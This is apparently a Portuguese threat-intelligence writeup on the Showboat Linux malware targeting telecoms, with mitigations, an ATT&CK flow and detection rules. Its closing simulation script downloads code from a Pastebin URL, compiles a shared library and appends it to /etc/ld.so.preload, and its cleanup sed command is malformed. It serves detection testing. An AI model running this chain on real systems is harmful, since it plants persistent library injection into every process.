Malware Showboat Alvo de Empresas de Telecomunicações do Oriente Médio Desde 2022
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Showboat é uma estrutura modular de pós-exploração para Linux construída para ambientes AMD x86-64. Ativo desde meados de 2022, ele é projetado para manter um acesso silencioso e de longo prazo em redes comprometidas. O malware usa métodos avançados de evasão, incluindo criptografia XOR e abuso do linker dinâmico para ocultar processos maliciosos.
Investigação
A investigação rastreou a infraestrutura de comando e controle até Chengdu, China, que, juntamente com as táticas, técnicas e procedimentos observados, sugere vínculos com agentes de ameaça alinhados à República Popular da China. A análise técnica mostrou que o malware depende de uma chave XOR hardcoded para descriptografar sua configuração e abusa ld.so.preload para alcançar furtividade em sistemas infectados.
Mitigação
Os defensores devem observar alterações não autorizadas em /etc/ld.so.preload e uso suspeito do gcc compilador em hosts Linux de produção. Também é recomendada a implantação de monitoramento de rede capaz de identificar comportamento de beaconing, mesmo quando o tempo é randomizado, e usar monitoramento de integridade para bibliotecas de sistema críticas.
Resposta
Se a atividade do Showboat for detectada, isole imediatamente os sistemas Linux afetados da rede para interromper o tráfego de comando e controle adicional. Realize forense de memória para identificar objetos compartilhados injetados e execute uma auditoria completa das configurações do sistema e tarefas agendadas para confirmar que todos os mecanismos de persistência foram removidos.
graph TB %% Definições de classes classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware_entity fill:#ff9999 classDef network fill:#99ff99 %% Definição dos nós %% Etapa 1: Configuração inicial action_decryption[“<b>Ação</b> – <b>T1027: Arquivos ou Informações Ofuscados</b><br/>Recupera a configuração criptografada via XOR<br/>utilizando a chave embutida: look me, AV!<br/>Alvo: telecom.webredirect[.]org”] class action_decryption action %% Etapa 2: C2 e exfiltração malware_showboat[“<b>Malware</b> – <b>Showboat</b><br/>Agente do ciclo de vida pós-exploração”] class malware_showboat malware_entity action_beaconing[“<b>Ação</b> – <b>T1071: Protocolo da Camada de Aplicação</b><br/>Estabelece C2 por meio de beacons periódicos<br/>Utiliza intervalos de espera aleatórios para evitar detecção”] class action_beaconing action action_exfiltration[“<b>Ação</b> – <b>T1029: Transferência Agendada</b><br/>Agrupa informações do host e capturas de tela em JSON<br/>Criptografa e codifica os dados em Base64<br/>Utiliza esteganografia em campos PNG para evasão”] class action_exfiltration action %% Etapa 3: Furtividade e persistência action_fetch_source[“<b>Ação</b> – <b>T1105: Transferência de Ferramentas para o Sistema Comprometido</b><br/>Obtém o arquivo-fonte em C ukpkmkk.c<br/>Origem: URL do Pastebin”] class action_fetch_source action action_compile[“<b>Ação</b> – <b>T1059: Interpretador de Comandos e Scripts</b><br/>Compila ukpkmkk.c localmente na máquina da vítima<br/>Gera uma biblioteca compartilhada maliciosa”] class action_compile action action_hijack[“<b>Ação</b> – <b>T1574.006: Sequestro do Fluxo de Execução: Sequestro do Ligador Dinâmico</b><br/>Utiliza o mecanismo ld.so.preload<br/>Injeta /tmp/ukpkmkk.so nos processos”] class action_hijack action action_stealth[“<b>Ação</b> – <b>T1564: Ocultação de Artefatos</b><br/>Intercepta chamadas de sistema como readdir()<br/>Oculta processos do ps e do top usando listas de filtragem”] class action_stealth action %% Conexões malware_showboat –>|executa| action_decryption action_decryption –>|estabelece| action_beaconing action_beaconing –>|exfiltra_dados| action_exfiltration action_exfiltration –>|aciona_comando_de_ocultação| action_fetch_source action_fetch_source –>|leva_a| action_compile action_compile –>|gera_biblioteca| action_hijack action_hijack –>|alcança| action_stealth %% Mapeamento final do fluxo action_stealth -.->|mantém| malware_showboat
Fluxo de Ataque
Detecções
Tentativa de Comunicação de Domínio Suspeito do Pastebin (via proxy)
Visualizar
Upload/Download de Arquivo Remoto via Ferramentas Padrão (via linha de comando)
Visualizar
Detecção de Atividade de Beacon do Malware Showboat [Criação de Processo Linux]
Visualizar
Detectar Atividade do Malware Showboat – Modificação de ld.so.preload e Obtenção de Arquivo de Origem [Criação de Processo Linux]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa & Comandos do Ataque: O atacante visa estabelecer interceptação persistente de chamadas de sistema. Eles começam baixando um arquivo de origem C malicioso de um URL raw do Pastebin usando
curl. Uma vez baixado, eles usamgcccom as flags-sharedand-fPICpara compilar a origem em um arquivo de objeto compartilhado chamadomalicious.so. Finalmente, eles tentam alcançar persistência ao adicionar o caminho desta biblioteca/etc/ld.so.preload. Esta sequência é projetada para injetar a biblioteca maliciosa em todos os processos do sistema. -
Script de Teste de Regressão:
#!/bin/bash # Simulação de TTPs do Malware Showboat # 1. Simular obtenção de fonte C do Pastebin # Nota: Usando um link pastebin raw real (simulado para lógica) ou simulando a string echo "Criando simulação de download de pastebin simulado..." echo 'void __attribute__((constructor)) init() {}' > fake_malware.c # Este comando aciona a parte 'selection_fetch' da regra curl -s https://pastebin.com/raw/example_id -o fake_malware.c # 2. Simular compilação de um objeto compartilhado # Este comando aciona a parte 'selection_compile' da regra # (selection_fetch AND selection_compile) gcc -shared -fPIC -o /tmp/malicious.so fake_malware.c # 3. Simular modificação de ld.so.preload # Este comando aciona a parte 'selection_preload' da regra echo "/tmp/malicious.so" | sudo tee -a /etc/ld.so.preload echo "Simulação completa. Verifique o SIEM para alertas." -
Comandos de Limpeza:
#!/bin/bash # Limpeza de artefatos de simulação # Remover a biblioteca e fonte maliciosas sudo rm -f /tmp/malicious.so rm -f fake_malware.c # Remover a entrada de ld.so.preload (Requer cautela) # Este comando sed remove a linha contendo /tmp/malicious.so sudo sed -i '//tmp/malicious.so/d' /etc/ld.so.preload echo "Limpeza completa."